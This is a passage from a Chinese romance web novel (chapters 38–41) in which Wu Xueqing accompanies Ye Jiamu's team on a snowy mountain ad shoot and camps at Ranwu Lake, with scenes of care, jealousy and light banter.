厚实的黑色长款羽绒衣,能把她严严实实地从脖颈裹到脚踝,简直团得像只企鹅。 不过看着大家几乎都穿着这样的羽绒服从车上下来,她也就秉着反正没人认识她的原则,像只企鹅一样从车上跳了下去。 叶嘉木里面穿的是件夹克衫,他走下车,将羽绒服一展,穿上了身,一样的款式,羽绒服却只到他小腿,他没有拉拉链,简单披着,穿出了风衣一样的飒爽。 邬雪青还没来得及和他说话,摄制组的同事就先围上了他,指着远处的山坡和他商议着拍摄地点。 见他忙着,邬雪青也就没凑过去了。 许多人看见雪都很兴奋,冲到了洁白一片的草地上将白雪踩得嘎吱嘎吱响。 风一吹,真是有些冷。 邬雪青捂着脸吹了口气。 团队里除了叶嘉木她就只认识梁襄和唐昆了,但她扫了一眼,大家都穿得大同小异,她一时也没认出熟人来。 她拿出手机看了下,果然也没有信号。 大概已经决定好了拍摄位置,一群人乌泱泱地往一处洁白的山坡上走。 邬雪青有点犹豫要 不要过去,可那边看起来好冷啊…… 她正纠结,一只手掌裹上了她的手掌。 叶嘉木走了过来,捂了捂她的手,又将一双手套和对讲机放她手上,叮嘱道:“我和他们先去那边山坡看看景,有人会在这边看着设备,房车上暖气没关,你不想过去的话就去房车上坐会儿,我待会会过来的。” 那边的雪很深,先过去的男人小腿已经埋进了雪里。 邬雪青道:“你忙你的,不用管我。” “好。” 这样说着,他又把她帽子戴了起来,手掌捂了捂她冻得发红的脸颊才跟上前方的团队大步走过去。 走了几十米的距离,叶嘉木还是不放心,回头看了眼。 只见她趴在垭口标志的大石碑上,用手掌扒拉下落在石碑上雪,自顾自玩了起来,他不禁笑了一下。 “叶总!您觉得这边可以吗?”有人高声喊。 叶嘉木应了声,走进了白雪皑皑里。 第38章 玩了会儿雪,手和脸已经冻得冰凉,邬雪青嘶着气,找了一辆房车上去。 房车里还有个年轻女孩正在烧热水,见到邬雪青上来,腼腆地朝她笑笑,指着房车里说:“里面有点乱,你随便坐。” 房车里七七八八堆了不少设备和行李,沙发上还随意扔着化妆品还有换下的衣服。 虽然乱,倒是没什么怪味,暖气也开得挺足。 邬雪青朝那姑娘点了一下头,反手关上门,拍拍身上的落雪,走去沙发上坐下。 那姑娘站在茶水台捣鼓了一会儿,烧水壶嗡嗡地响,过了会儿,她端过来一杯茶道:“你先喝点热茶吧。” 邬雪青接过杯子,朝她颔首:“谢谢。” 朱絮偷偷打量着邬雪青。 女人侧头望着窗外,窗光映着,倒衬得脸颊愈发俏丽白皙,眉眼舒展柔和,但瞧着气质并不好接近,淡淡的疏离与骄矜,即便随意坐着身姿也伸展挺拔,并不多话。 或许是感觉朱絮一直站着没动,邬雪青回过头来,朝对面微微点了下下巴,言简意赅,“坐啊。” 人都是喜欢好颜色的,无论是帅气还是漂亮,总能让人先生出些天然的喜欢和亲近。 朱絮在她对面坐下,眨巴着眼睛看着她,见邬雪青转头来看她,朱絮马上自我介绍道:“我叫朱絮,是那个朱砂的朱,柳絮的絮。” “邬雪青。” 朱絮想,果然美人的自我介绍也总是简短有个性的。 见邬雪青没有继续开口的意思,朱絮又再次试图打开话题,“那个,我是做运营的,在拓野工作半年了,是叶总的员工。” 拓野是叶嘉木公司的名字。 现在团队里大部分都是乙方广告公司的人,叶嘉木的公司自然是甲方,算是这次拍摄工作的督工。 邬雪青本来就不是爱和人聊天的性格,神色淡淡的,就着她的话题随意问:“你们公司新人多吗?” “今年春招进来挺多的,我就是今年春招进来的。”朱絮说。 “刚毕业?”邬雪青问。 朱絮点头:“嗯嗯,我是今年毕业的。我们公司特别好,一个月就给我们转正了,还给我们应届生很多补贴,我很多同学现在都特别羡慕我能进拓野。” “拓野很有名吗?” “现在算吧,我是去年知道拓野的,我们公司虽然才成立几年,但现在已经有自己的办公楼了!叶总说三年内会带我们公司做到品类第一,到时候我们就是老员工了!”说到这,小姑娘挺起了胸脯,骄傲之情溢于言表。 这饼画的…… 真是又圆又大啊…… 邬雪青低头抿口茶,点头:“挺好,你们老板挺有理想的。” “……你,你不相信吗?”朱絮有点没底了。 “如果三年后没有做到第一,还是按你们现在的薪酬体系,你会走吗?”邬雪青放下杯子,似笑非笑问。 朱絮想了想,“应该不会,除非老板开除我,我们公司福利待遇都可好了,KPI压力也不是很大,今年除了5月加班忙一点,平时都能到点下班。” “你们现在有自己的专利布局吗?” 朱絮有点懵:“这个我不太清楚……” “那你们现在核心产品是自主研发还是合作研发的?” “应该是自主研发吧?这个是技术部门的工作,我也不太清楚……” “你们公司现在总共有多少人?包括销售。” 朱絮皱着眉头想了想,“应该有接近一百个人了吧。” “你们现在年营收有过亿吗?” 朱絮傻了眼,“这个……我不太知道。” 邬雪青点点头,不再多问了。 朱絮更是牢牢闭上了嘴。 好可怕…… 她有种被部门经理找去谈话的错觉。 当初叶总亲自去她学校做招聘宣讲,迷倒了一大帮迷妹挤破头想进拓野。叶总年轻、多金、不油腻,公司内部最大的八卦就是叶总为什么一直单身。 昨天叶总带着这位大美女一露面,朱絮自己都忍不住在心里感慨一句郎才女貌。 几句话闲聊下来,她立马收回了果然再优秀的男人都看脸这个想法。 犹豫纠结好一会儿,还是八卦之心战胜了社交恐惧,朱絮试探问:“您也是开公司的吗?” “我?”邬雪青粲然一笑,“不是,我就是个花钱的。” 花钱的?是什么意思? 做采购的?做品牌市场的?还是富二代? 朱絮不好意思多问了,但心里觉得她应该是个很厉害的人,不然不会对公司经营方面的事情这么了解。 不过也真奇怪,为什么这些问题她不直接问叶总? 难道是故意考她? 想到这,朱絮顿时一凛,赶紧找补解释:“那个,因为我是新人所以对公司的一些核心的东西不太清楚,之后我会在产品上做更多功课……” “别紧张,我就是随便问问,我不是你同事也不是你们股东,你回答都挺好的。” 是说她一问三不知,回答得挺好吗……? 朱絮弱弱说:“但是,但是,你是老板娘呀……” 邬雪青刚喝一口茶,差点呛出来,她咳笑了好一会儿,摆手道:“我和你们老板只是朋友,他的公司是他的,跟我没有一点关系,下次如果有人问你我刚刚说的那些问题,你就直说不清楚就好了。” “哦……”朱絮还是有点懵懵的。 雪又下起来了。 邬雪青看到有人回来开车了,问朱絮:“是拍完了要走了吗?” “不是,那是向导和后勤的车,应该是去买午餐了。” 邬雪青点点头。 这里没有网络不能玩手机,车上也没有其他什么游戏设备。邬雪青问朱絮:“外面雪那么大,你不想去玩玩吗?” 朱絮何尝不想下去玩,但她还是摇头:“不能走,我要看着设备。” “有我在这呢,你想出去就去玩会儿吧,这个季节很难见到这么大雪的。” “可以吗?”朱絮有点兴奋。 邬雪青点头,“去吧,就是外面挺冷的,你可以戴个手套。” “好!谢谢!” 毕竟是刚毕业没多久的小姑娘,心思跳脱,还带点学生气的纯真,高高兴兴地下去玩雪了。 邬雪青靠在了沙发上。 她看出朱絮怕尴尬,一直在没话找话聊,与其尬聊,还不如让她出去玩玩。 由于内外温差,玻璃窗上已经结了一层白霜,雾蒙蒙的,看不清窗外的风景。 邬雪青伸手擦了一下窗,远远地看见远处的雪坡上很多人在走动。 穿着冲锋衣的模特拄着登山杖往雪坡上走,扛着摄影机的摄像小腿已经陷进了雪里,天上有无人机在飞。 她在一众人里看了许久,好不容易找到了叶嘉木的身影。 朔朔的白雪染白了他的黑色羽绒服,他微微侧头抬着手正和工作人员比划着说着什么,从嘴里呼出来的雾气氤氲在空气中,成了 最小的云。 有举着反光板的工作人员艰难爬上雪坡,侧躺在坡上避免入镜,还有扛着箱子的工作人员险些摔倒,叶嘉木伸手扶了一把,接过了箱子迈步往一边走。 雪越下越大了,刚刚被车压平的路迅速又积起了一片白雪。 房车门被拉开了,上来了好几个人。 邬雪青回头看去,一个男人道:“我们来烧点茶给他们拿过去。” 她点点头。 玩了十来分钟,朱絮回了车上,冷得瑟瑟发抖,拍了拍脑袋上的雪,看见车上多了很多人还惊讶了一下。 “你们知道车上的新保温壶在哪吗?”男人问。 “在这里。”朱絮立马去找保温壶。 看着他们一壶壶清洗,烧水,泡茶,邬雪青也不大好意思坐下去了,“有什么要我帮忙的吗?” “不用不用,您坐就好。”朱絮道。 见他们泡了好几壶茶,拎着重重的壶往拍摄地走,朱絮也正犹豫是去送水还是守设备,邬雪青起身道:“我去吧,你守在这。” 好几十个人等着喝热水,刚烧的几壶水都还不太够喝。 叶嘉木没接水,让其他工作人员先喝。 他转身往回看了一眼,就看见邬雪青拎着一个大水壶,抱着保温杯正从雪地里跋涉过来。 顾不上交涉的工作人员,他立刻大步走回去接她。 “小心点,你怎么过来?” 叶嘉木抓住了她小臂,从她手上接过了水壶。 邬雪青抬起了头,轻吁一口气,语气倒是轻快,“来给你们送水啊!” 呼出的白雾让面对面站着的两个人也变得模模糊糊的。 “外面这么冷,你回车上待着,别冻病了。” 他眉头紧拧,伸手给她拍了拍脑袋上肩上覆着的一层雪花。 “大家不都在外面吗。”她说。 “人家都有工资,是在工作,你有工资吗?这儿不用你帮忙,赶紧回车上待着去!”他语气重了起来。 “车上太闷了,我下来透透气而已。” 邬雪青扒拉开他把她往回推的手,又把怀里捂着的保温杯递给他,“你的杯子。” 她仰头仔细一看,才发现他眉毛睫毛上都结了一层白霜,头发也被雪盖白了。 心头颤了颤。 她戴着手套的手擦上他的脸颊,把他脸上的白霜抹掉,又踮脚拍了拍他脑袋上的雪,声音有点颤:“你把帽子戴上。” 叶嘉木怔了怔。 “我不冷,走两步就热了,你本来就身体不好,快回去。”他按着她肩转身,催促她走。 邬雪青低头看了看手上的手套,没再僵持,往回走了。 见她走了回去,叶嘉木才放心。 他回头继续工作,正和摄制导演谈拍摄的镜头,身后一块围巾围了上来。 他回过头。 邬雪青去而复返,站在他身后,踮脚将围巾拢过他肩膀。 第39章 他怔忪良久,忘了言语。 她走到他身前来,将围巾绕过另一侧,又从上侧穿过去,系了一个结。 铺天盖地的大雪染白了他们发丝。 她眼睫眨了一下,一片细碎的雪花从她睫毛上掉落,他下意识抚了下她眉眼,将冰冷冷的白雪擦去。 “怎么又过来了?”这次他的声音轻了下去,没了责备,带着一点他自己都没意识到的迁就软和。 “大家都戴了围巾手套,偏你不戴,你是什么铜墙铁壁吗?” 她握起他冰冷的手掌,将手套放在了他手心里,抱怨的话语听起来也娇嗔可爱。 叶嘉木忽然想起很小的时候,那年全国暴雪,连隅州都难得的一夜见白。 那个冬雪日学校专门给了一节课时间,让这群难能见一次雪的小孩们满校园撒欢。 那时是二年级还是三年级?记不清了。 他跟着一群小伙伴在操场打起了雪仗,蓬松的雪捏成团不够紧实,总是在半空中就散成了漫天白雪,但打在人脸颊上还是有些疼的。 仗着个头长得高,他总能精准地把雪团子砸在人头上,引发众怒后,他被一群小伙伴嬉闹着绊倒在雪堆里,一群人压在他身上拼命把雪往他衣服里灌。他笑着叫嚣要报仇,忽然压在他身上的所有分量和冰凉都消失了。 他扑腾了下四肢,从雪堆里把自己拔出来,就看见一个雪团子站在他前面。她把一个闹得最凶的小男孩往地上一推,那孩子没防备,一下子跌倒在地上,结结实实摔了个屁股蹲。 大家你拉拉我,我拽拽你,有人小声说:“是豌豆公主,快走!” 小孩有些忿忿,但都敢怒不敢言。 之前有个小朋友只是跑下楼时候不小心手肘打到了她,第二天就被老师领着向她当面道歉,第二天下午那个人就再也没来过学校了。又娇气又可怕,小孩们私底下都偷偷叫她豌豆公主,贬义的“公主”。 同学们一哄而散,连被她推倒的那个小孩都不敢说什么,爬起来就跑。 叶嘉木拍拍身上的雪,从雪地里站起来。 她转过身,看到了他冻得发红的手,她将手上的手套扯下来,也是这样拉起他的手把带着她体温的手套放在他手里,声音轻轻软软地说。 “司机来接我,我要回家了,这个给你。” 同学远远地看着他们,交头接耳。 他耳朵一下烧了起来,一把甩开了她的手,用力搓了搓麻痒的手指。 白色的羊绒手套掉了一只在地上,她仰头看着他,眼神懵懂蒙然。 “我们只是在玩,”他抬着下巴,掩饰脸上的不自然,语气夸张,“不需要,我又不是豌豆公主。” 她低头看了眼掉落在地的手套,然后松手,把手上的那只也不在意地扔在了地上。 “哦。” 她声音轻轻细细的,也很冰凉,像一粒雪粒钻进他前胸后背,冰得让他有些想打冷战。 她转身就走,没有再回头。 她系了一条巴宝莉的格纹围巾,墨黑的长发散着,漫天大雪里,每一步都走得平缓端庄。 校门口,身着西装的司机已经打开车门恭候许久,朝她微微弯腰,她上了车,车门被轻轻按上,司机小步跑着去另一侧开车。 …… 她抬手在他眼前晃了晃,“你发什么呆?” “……没什么。” 他将掌心的手套攥了起来,连同她搭在他掌心的手。 这些年,他一直叫她公主殿下,然后又简略成殿下,叫来叫去,已经忘了公主殿下这个昵称是从哪里开始的了。 难怪她越来越讨厌他。 他将手套戴上,又拍掉她头上的雪,将帽子给她拉起来,又把拉链拉到最上方,她整张脸被遮盖得只露出了一双眼睛。 旁边人都有眼力见地绕着他俩走。 叶嘉木没有再催促她离开,只是将胳膊揽在她肩上,把她往怀里一搂,半抱着她继续和旁边的人交涉工作上的事情。 邬雪青撞进他怀里,有点懵。 厚实的羽绒服将她裹得严严实实,尽管室外低至零下十几度,但她还是觉得衣服里热得让她后背有些发汗起来。 午餐时间,大家都收工回车上吃饭。 她穿着一双短靴,鞋面沾了雪,一进暖室雪就融化成了水,浸入了鞋面里,有些冰凉。她回了车上坐下,脱了鞋,将掉进鞋里的雪倒出来。 房车上有人开了小太阳暖手,好几个人围着一个小太阳烤手烤脚,大家都冻得鼻涕一把把擤,讲话都直哆嗦。 邬雪青没在外面站多久,也不好意思去和人家挤几个小烤炉,况且车上暖气也够了。 也不知道叶嘉木去哪了。 她没在车上看到他。 正想着,房车门就被拉开了。 他拎着一双毛绒拖鞋和一打毛巾上了车。 有人朝 他迎过来,他将一打毛巾给人,简单交代了几句后,朝邬雪青走过来。 她脱了湿漉漉的鞋袜踩在鞋面上,疑惑地看着他。 叶嘉木走到她面前蹲下,握起她的脚踝用毛巾擦了擦她被雪水浸湿的脚。 所有人都静了声,惊奇地望着他们。 邬雪青缩了缩脚,推推他道:“你干嘛?” “条件有限,先擦擦,等下了山去酒店再洗个热水澡。”他说。 边说着,他已经给她擦干了两只脚,将毛绒绒的拖鞋给她穿上。 暖意从脚底心升了起来。 他把她的鞋拎过去,和那些正在烘烤的鞋一起放在了暖炉旁边。 密不透风的室内一块烤这么多鞋子,说没味道是没可能的,但条件有限,他们能有两辆房车活动已经很方便了。有些骑行上山的遇到大雪人都快冻傻了,找他们借了一点热水,又烤了烤火,接着出发,一鼓作气赶紧下山。 后勤买来了盒饭,分发给每个人。 盒饭也简单,一个辣椒炒肉,一个蔬菜,一个汤。 邬雪青吃了两三口就没胃口了,她和叶嘉木说想回越野车上休息。 她的雪地靴还没烤干,叶嘉木先下车,蹲下身拍了拍肩膀。 邬雪青驾轻就熟地趴上他肩膀,叶嘉木把她背回了越野车上。 车上暖气已经提前打开了,闻到熟悉的薄荷叶味,邬雪青头脑一清。 “我的鞋子……” 她甫一开口,叶嘉木便道:“待会烤干了我给你拿过来。” “你不上来休息吗?”她问。 叶嘉木脸上有些忧虑:“这阵大风过去后还要接着拍,争取今天拍完我们早点下山,你休息吧,后车窗我留了一条缝,你睡觉时候不要把车窗关死。” “好。” 他关上了车门,将风雪一并关在了门外。 邬雪青坐在副驾驶上,脱了鞋,屈起膝盖踩在座位上,侧着头看车外叶嘉木离开的背影。 外面的风雪越来越大了,拍摄几乎进行不下去。 不过正好是午餐时间,大家都在车上吃饭。 他很忙,总有人在找他。 有时是导演跟他沟通拍摄效果,有时是后勤跟他沟通各种后勤问题,大家一遇到问题好像第一反应就是喊“叶总”。 他性格好,也没什么甲方架子,关键是大家问他的问题他总能拿出建议和解决办法来,慢慢地,大家都习惯了先听他的办法。 风雪渐渐小了。 没有再午休,拍摄团队又有条不紊地进入了雪地里开始工作。 直到今天,邬雪青才真有了点他们是出来工作而不是出来旅游的实感。 赶在天黑之前,拍摄团队收了工。 他抬手一扬,说了声“下山了”,大家欢呼着冲上了车,充满了喜悦。 负责开车的司机都提前上车暖手、暖身,只有叶嘉木上车时还裹着一身寒意。 他把邬雪青的鞋子拎进来,笑着道:“鞋子烤干了,待会下山了穿上。” 这么艰苦的拍摄条件,反反复复拍了近六七个小时,他怎么脸上还能挂着笑? 邬雪青接过雪地靴放在座位下,看见他脱了羽绒外套抖了抖外套上的雪,又把外套放后座上,进了驾驶室。 “你还开车吗?不冷吗?”她忍不住问。 “没事,暖会儿就走。” 他脱了手套,搓了搓手。 邬雪青掀开衣摆,把衣服里的暖宝宝贴撕下来给他,“我已经焐热了,给你。” “车上冷吗?怎么还贴暖宝宝了。”他疑惑。 “给你的。” 她把暖宝宝拍在了他衣服上,扭头看向了窗外。 叶嘉木反应过来,低低地笑了。 他将已经发热的暖宝宝捂在手心里,不一会儿冰凉的手就热了起来。他体质好,寒气不容易入体,风雪抖一抖,身上便又热了起来。 大家收拾了个二十来分钟,车队动了起来,准备下山了。 导航显示,从东达山到左贡县还有一百多公里。 其他几辆车都有专门负责开车的司机,其他工作人员忙一天累了,在车上倒头就睡。在其他司机用对讲机沟通时,邬雪青甚至都听到了旁边如雷的鼾声。 “叶嘉木,你要是累的话,要不也换别的司机开吧。”她说。 他调侃道:“这冰天雪地,上哪去找别的司机?” 车队陆陆续续往山下走。 邬雪青有点后悔以前没有学开车了。 如果她会开车,至少有她可以和他换着开…… “没事,很快就到左贡县了,一百来公里不远。”他说。 车队缓缓下了东达山,眼前的风雪退去,从枯黄的高山草甸慢慢出现了绿意,但是这段路并不好开,路上满是碎石、泥泞。 下山后没开多远路又堵上了,前面是各种装满货的货车。 天色已经隐隐黑了下去,夜晚行车终究是不太安全。 他不紧不慢地喝完了一罐红牛,车队还没有挪动,叶嘉木捏扁了罐子,难免有了些焦躁。 邬雪青伸手过去,安抚地握住了他的手背,就像他之前安慰她那样,她摩挲着他的手背,朝他笑笑。 心头骤然一轻,叶嘉木皱着的眉头松开了许多,转过手心,扣紧了她的手,也不知是安慰她还是安慰自己,他温和说:“没事。” 第40章 然乌湖畔,帐篷天幕下。 邬雪青披着厚实的羽绒服,捧着一杯温热的甜茶正慢慢喝。 前两日已过左贡县和八宿县,今天是拍摄工作的第三天,在然乌湖露营基地拍摄了一整日。 夜色已深,摄制组还在挑灯夜战,篝火燃起,灯光布景打得明亮,广告演员不断反复几个相同动作供拍摄产品细节。 拍广告实在是一件相当费工夫又无聊的事情。 邬雪青已经看疲了,她屈起腿,靠着椅背眯了眯眼睛。 有人正路过,脚步不禁一顿,偷偷看了她片刻。 露营灯橙黄的光拢在她身上,她微抬着下颌,阖着眼睛,颈项修长,神情淡漠,光晕勾勒出的轮廓像一幅精致的油画,叫人难以转开目光。 邬雪青有点困了,但她不想去人又多又臭烘烘的房车上睡,睡帐篷又没那么有安全感,这几日的长途奔波和枯燥等待让她整个人都有些恹恹的,浑身上下都写着生人勿近。 偏偏有人没眼力见。 感觉肩膀被轻拍了下,邬雪青睁开眼睛,回头看去,一个戴着眼镜,随和儒雅的男人站在她身后。 她略微有点印象,是随队的一个医生,似乎是姓高,昨天还聊过几句。 他手上拎着暖壶,询问:“需要加点茶吗?” “好的。” 邬雪青把保温杯递向他。 男人拧盖壶盖,俯身将暖壶里的甜茶倒进她杯子里。 热气氤氲散开,焦糖和茶的甜香气息沁入心脾。 茶添满了,她收回杯子,朝他稍一颔首,“够了,谢谢。” 男人温润地笑笑,放下暖壶,好奇问她:“你怎么一个人坐在这,不去车上吹空调吗?” “我不喜欢人多的地方。”她随意敷衍。 “这样啊,”男人顺手拉过另一条露营椅子,又问,“那我可以坐这吗?” 邬雪青沉默一瞬,语气淡了下去:“随意。” 男人紧挨着她坐下,往前一望,笑说:“这儿看过去,视野倒是挺好的。” “嗯。” 她的回应寡淡。 高瑜不在意她的冷淡,反道:“邬小姐,我看你这两天吃饭都吃得挺少的,是有哪里不舒服吗?” 他流露出的关切恰如其分。 她声音懒怠,不大领情:“没有,只是单纯没胃口。” “只是没食欲的话,那可能是缺微量元素了,我给你拿几支葡萄糖酸锌喝吧。”他语气仍旧温和,言辞体贴。 “不用了,我不喜欢喝药。”她拒绝。 “这个不苦,你可以先……” 她打断,言简意赅:“不用。” 像个讳疾忌医的任性小女孩,高瑜笑笑,“好吧,如果你有什么其他不舒服的,随时可以找我。”说到这,不知是出于什么心思,他又补充了一句,“叶老板他 忙起来可能顾不上你,但我随时都在。” 后一句声音很低,柔和低沉,像某种不敢言明的暗示。 似乎觉得他这话很有意思,邬雪青细品了会儿,莞然笑起来。 高瑜看着她,失神了片刻。 她的笑容漂亮极了,身上幽幽的香味散出来,清凌凌的味道又混着甜茶的暖香,就像她这个人身上清冷又单纯的矛盾气质,勾得人心头发痒。 他喉咙发干:“邬小姐……” “雪青,怎么一个人在这,还没去休息?” 高大俊气的男人大步走来,走到人前后,他似乎才注意天幕下还有另一个人,神情意外:“高医生原来在这躲清闲呢,我刚刚可正找你。” 高瑜一惊,神情微僵,不太自然地微微起身问:“叶总,是有什么事吗?” “刚听见有人说上火了舌头疼,高医生先去看看舌头吧。”叶嘉木微笑,眼神里却没有笑意。 高瑜不敢看他,“…好。” 碍眼的东西灰溜溜走了,某人吃一肚子气还没散,一屁股坐在了邬雪青旁边,两条腿一抻,缓缓又长长地叹了口气。 邬雪青举起保温杯吹吹,抿口甜茶,浅浅笑了起来。 “我是不是来的太不是时候了?”他说。 她不答,嗅嗅杯子,有些疑惑:“好奇怪,这茶是不是坏了?” “坏了?”叶嘉木皱着眉头从她手里拿过杯子喝了一口,仔细品了品,“没有,甜茶就是这个味。” “是吗?”她惊讶,“那我怎么尝出了一股酸味?” 叶嘉木:“……” 他神色薄怒起来,索性坦白不高兴,“那个姓高的这两天一直围着你转,他什么意思?” “哪里一直围着我转了,人家就问过我两次有没有什么不舒服。” 叶嘉木咬碎了牙,“明明知道你是有对象的人,他还跟你凑这么近,他敢说他心里没鬼?!” 邬雪青不赞同:“正常聊天而已,是你太多心了。” 这心都偏到太平洋去了! “以前我挨你近一点,你立马就叫我滚,”叶嘉木语气哀怨,“只见新人笑,哪闻旧人哭……” “叶总拍广告其实可以不用请演员的,叶总亲自出镜演技就很好啦。” 叶嘉木:“…………” 他气急败坏,起身就要走。 邬雪青拉住他,叶嘉立马就又回了头。 她努嘴:“杯子还给我,谢谢。” 叶嘉木:“……” 他吐出一口气,又坐了回来,“你就气我吧,反正我最好欺负。” 湖风凉凉,有飞虫绕着灯飞。 她不语,只弯着眼睛笑。 “你不会真对那种老白脸感兴趣吧?”他自言自语。 “叶嘉木。” “嗯?” “他是你请来的。” “所以呢。” “我搭理他是看你的面子。” 他静了片刻,说:“下次不用再看我的面子了,你只要看着我就行。” “不要脸……”她把他脸推开。 叶嘉木抓住她手,叹笑道:“时间不早了,帐篷也搭好了,要是困就先去睡吧,我这还得拍几个小时,你不用等我。” “谁等你啊……” 他笑:“那为什么不睡,难道是第一次睡帐篷,不敢睡?” “我只是觉得今天的星空很好看,想再坐会儿。”她指了指天。 夜空澄澈,星星闪耀。 他顺着她的手指望向天空,又摩挲了会儿她冰凉的手指,“手都吹冷了,去帐篷里看星星吧。” 邬雪青伸个懒腰,“我睡哪个帐篷?” 团队里就四个女生,本来都安排在房车里睡,但邬雪青受不了房车里似有若无的怪味,要了个单人帐篷搭在外面。 帐篷质量倒很好,在帐篷后侧还有一个可以从里面拉开的小窗,小窗覆着一层透明隔膜,能看到外面风景。 邬雪青趴在小窗前,透过小窗能瞧见漆黑的山和一点点夜空。 叶嘉木给她帐篷里铺了厚实的充气床垫、防水垫、毯子和睡袋枕头,尽管如此,没有暖气,帐篷里还是冰凉的。 “我给你拿两个热水袋过来。”他说。 邬雪青拉住他,“一个就好。” “好。” 邬雪青还是第一次在野外露营,有些新奇,因为旁边总有人来来往往的脚步声,竟也不觉得这杳无人烟的荒野恐怖了。 很快,叶嘉木给她拿了一个热水袋进来,塞进睡袋下。 “早点休息,明天一早还要转场。” “好。” “要我教你睡袋怎么用吗?” “不用。” “要睡了就把帐篷里面拉链拉起来。” “好。” 他絮絮叨叨交代半天,直到邬雪青听到有人又在叫他了。 “忙你的去吧。”她推推他。 “那我出去了。” “嗯。” 他说着,却没动,只看着她。 这几天行程很紧,她没怎么休息好,又吃不下东西,有些瘦了,瞧着神色也憔悴了,小口小口地喝着甜茶,见他还盯着,她把保温杯递给他,“你喝吗?” 叶嘉木没接保温杯,只凑近亲亲她额头,转身离开了帐篷。 邬雪青第一次睡帐篷,的确睡不着,总感觉充气床垫不舒服,翻来覆去了一个多小时也没找到合适的入睡姿势。 折腾良久,听到他们外面都开始收工了,她才有了一点点困意。 朦朦胧胧半睡半醒间,帐篷拉链似乎响动了一下。 她一惊,立马睁开了眼睛。 “是我。” 熟悉的声音低哑说。 邬雪青伸出手,揉了揉眼睛,在睡袋里蠕动着去拉开了拉链。 “怎么……” 她话还没说出完,他就抱着她直接躺倒在了软垫上。 气床被猛地一压,“砰”一声,另一侧瞬间弹起,把邬雪青吓一跳。她瞌睡醒了,几乎以为两个人要把垫子压炸了,不免怒道:“叶嘉木!” 帐篷拉链也还没拉,他就这么直接地躺了进来,不远处还有人在走动,她挣了挣他手臂,压低了声音问:“你疯了吗?” 他不语,只是沉沉的呼吸贴在她耳后。 邬雪青也不知道有没有人注意到他们俩,她心头慌乱,赶紧爬起来把帐篷拉链拉上。 叶嘉木就在她旁边躺下了。 他外套什么都没脱,眉头微皱,恍然已经睡着了。 邬雪青摸起手机看了眼时间。 三点一十二。 竟然已经凌晨了。 他们是昨天日出前出发来的然乌湖,拍了一整天,他已经二十四小时没合眼。 她推了推他手臂,叶嘉木没动弹,邬雪青只好拽过自己的厚外套盖在了他身上。 男人滚烫的呼吸紧挨着她的脖颈,胳膊下意识圈在她腰上。 邬雪青艰难翻了个身,下一秒就被他搂得更紧了。 她翻了个白眼,感觉要被他勒死了。 “松手啊,喘不过气了。”她抵了抵他。 半梦半醒,他松开了一点。 邬雪青躺平身体,呼出一口气。 一口气还没松完,他又一把将她捞进怀里,满手满脚抱紧,好像一松手她能跑了似的。 邬雪青本就困在睡袋里,又被箍成了人形大蝉蛹,半点都动弹不了,听见他一秒熟睡的沉缓呼吸,她气笑片刻,一点脾气都没有了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 晴空已现,湖水碧蓝如镜。 邬雪青睁开眼,迷迷糊糊扫了圈,脑袋有点发晕,一时不知道自己躺在哪。她像毛毛虫一样在帐篷里坐起来,往窗外看了一眼。 透明隔膜上起了一层露珠,阳光从小窗外透进来,在帐篷内形成一圈一圈的斑斓光晕。 她弯下腰,小猫洗脸似的捂着脸打了个大大的哈欠。 晚上没觉得冷,这会儿才发现热水袋也凉了,带着潮气的冰冷袭来,呼吸都有点冒白雾。 好像忘了什么。 发了好一会儿蒙后她才想起来,对了,叶嘉木去哪了? 他不在帐篷里,厚实的羽绒外套也盖在了她 身上。 她拿起手机看时间,已经早上八点多了。 没听见外面有什么响声,大概大部分人都还没醒。 他睡得晚,起得倒是早。 她随手绑个丸子头,穿上外套,从帐篷里钻出来,料峭山风吹来,霎时把她吹清醒了。 要找的人没看到,倒是听见了石子打进湖面的咕咚声,邬雪青顺着动静往湖边看去,瞧见梁襄站在湖边正侧身拿着石子打水漂。小石子飞出去,在湖面漂起一串长长的涟漪。 听到脚步声,梁襄回头看来,瞧见邬雪青头发松松垮垮扎着,披着外套朝他走来,他站直身:“邬小姐。” “你在干什么呢?”她声音清亮,带着好奇。 “随便玩一会,”梁襄迟疑,“我吵醒你了吗?” “没有,我睡醒了,你是在扔石头吗?” “打水漂,就这样。” 梁襄抬起胳膊丢了一块石头出去,咕隆隆地扔出去十几米远。 邬雪青觉得挺有意思,也弯腰从地上捡了块石头,抬手往水里一抛,石头咕咚一声沉了下去。 梁襄摊开手,笑道:“打水漂得捡这种扁的石头,然后扔出去的时候要这样拿着,食指抵着石头后面,一转,就能漂起来了。” 微风徐来,湖面涟漪绽绽。 邬雪青还是挺好学的,跟着梁襄的模样依葫芦画瓢抛了几块石头,成功漂起来了一块,响了三声,她高兴得蹦了起来,欢呼一声。 “挺厉害的。”梁襄说。 “你怎么学会的?”邬雪青好奇。 梁襄笑笑,“我们农村孩子,从小就是山里水里到处玩,自然就会了。” “那你童年肯定很有意思。” “是啊,那个时候都没有手机,一放学就上山打板栗,下田捉泥鳅,晚上就跟表哥提着笼子去河里捉小鱼小虾。” “不用上补习班吗?” 梁襄大笑,“我们农村孩子哪有补习班上,上学都得走好几里地。” 条件难么艰苦的吗? 邬雪青疑惑:“你多大了?” “今年二十七了。” “这样啊,”邬雪青好奇问,“那你结婚了吗?” 他静了片刻,低头笑笑,“本来是今年结的。” “本来?” “嗯。”梁襄看着她,或许是她那双干净纯粹的眼睛触动了他,他忽然想再多说一点,“我女朋友想开一个旅行社,我打算今年过完年就离职,明年跟她一块弄,等再过两年生意能稳定了,手头宽裕了,我们就结婚,出国度蜜月。” 从他三言两语里,邬雪青感觉到了一种踏实充盈的幸福感,她深吸一口新鲜空气,微笑道:“真好。” “你和叶总呢?”梁襄问。 邬雪青耳根一下燥了起来,她转过身面对湛蓝的湖泊,搪塞道:“没想那么远,先过好当下吧。” “过好当下……”他若有所思片刻,笑说,“你说得对,有时候人不能想太多,毕竟永远不知道未来会发生什么,唯一能确定的,现在所过的每一天都是倒计时。” 认识这些天,邬雪青总觉得梁襄这个人有点淡淡的,对谁都客客气气的,不主动表现也不刻意融入,总安静沉默地待在自己的世界里,难得听他说这么多的话。 她思索道:“我倒不觉得是倒计时,如果只用线性观点来看,时间总是在一条直线上不可逆地流逝,但人的感知能把线性的时间变成多维的,即便是失去的东西,当我们回忆起它的时候,它也存在于未来了。幸福感是给时间丰容的养料,同样的时间,麻木的生活和幸福的生活感知是不一样的。” “当我们回忆起她的时候,她也存在于未来了……”梁襄喃喃念着她说的话。 “你觉得不对吗?”她问。 